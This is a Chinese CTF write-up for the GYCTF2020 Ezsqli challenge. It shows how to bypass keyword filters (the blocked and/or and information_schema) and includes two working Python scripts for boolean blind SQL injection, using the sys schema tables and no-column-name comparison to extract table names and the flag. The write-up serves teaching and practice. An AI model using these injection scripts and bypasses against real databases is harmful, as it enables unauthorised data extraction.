[GYCTF2020]Ezsqli1

打开环境,下面有个提交表单

提交1,2有正确的查询结果,3以后都显示Error Occured When Fetch Result.

题目是sql,应该考察的是sql注入

简单fuzz一下

发现information_schema被过滤了,猜测是盲注了。

测试发现只要有东西加上and或者or都会被检测

试一下||

发现可以,再测试一下substr

可以用,写个脚本爆一下表名

但是information_schema被过滤了,这里用到MySQL5.7的新特性.

可以看一下这篇博客

Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客

脚本

复制代码
import requests
url='http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81/index.php'
data='3 ||  ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
name=''
for i in range(1,90):
    for j in range(32,127):
        id=data.format(i,j)
        post_data={'id':id}
        re=requests.post(url,data=post_data)    
        if 'Nu1L' in re.text:
            name+=chr(j)
            print(name)
            break

两个表users233333333333333,f1ag_1s_h3r3_hhhhh

爆字段

下面要用到无列名注入

由于mysql里面字符串比较大小只是比较第一个字符的大小,就可以利用这一点实现无列名注入

由于等于和大于是两个临界情况,得到chr要-1才对

脚本

复制代码
import requests
url = 'http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81//'
flag = ''
for i in range(1,200):
    for j in range(32, 127):
        tmp = flag + chr(j)
        id = '3||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(tmp)
        data = {'id':id}
        r = requests.post(url=url, data=data)
        if 'Nu1L' in r.text:
            flag += chr(j-1)
            print(flag)
            break

转个小写

拿到flag

相关推荐
渗透测试老鸟-九青9 分钟前
网络安全之揭秘APT Discord C2 以及如何取证
安全·web安全·网络安全学习路线
Super Rookie9 分钟前
MongoDB 自动化脚本安装方案
数据库·mongodb·自动化
key0615 分钟前
大模型在网络安全领域的应用与评测
网络·人工智能·web安全
Code哈哈笑16 分钟前
【MongoDB 基本语法】数据库和集合的基本操作--探秘 MongoDB
数据库·mongodb
恋红尘34 分钟前
Redis面试八股
数据库·redis·面试
直有两条腿1 小时前
【数据迁移】HBase Bulkload批量加载原理
大数据·数据库·hbase
言之。2 小时前
ClickHouse 数据更新策略深度解析:突变操作与最佳实践
服务器·数据库·clickhouse
北京耐用通信2 小时前
电力自动化新突破:Modbus如何变身Profinet?智能仪表连接的终极解决方案
人工智能·物联网·网络安全·自动化·信息与通信
白衣鸽子3 小时前
数据库高可用设计的灵魂抉择:CAP权衡
数据库·后端
汤愈韬3 小时前
NTFS权限基础、权限累加规则、权限继承规则
windows·网络安全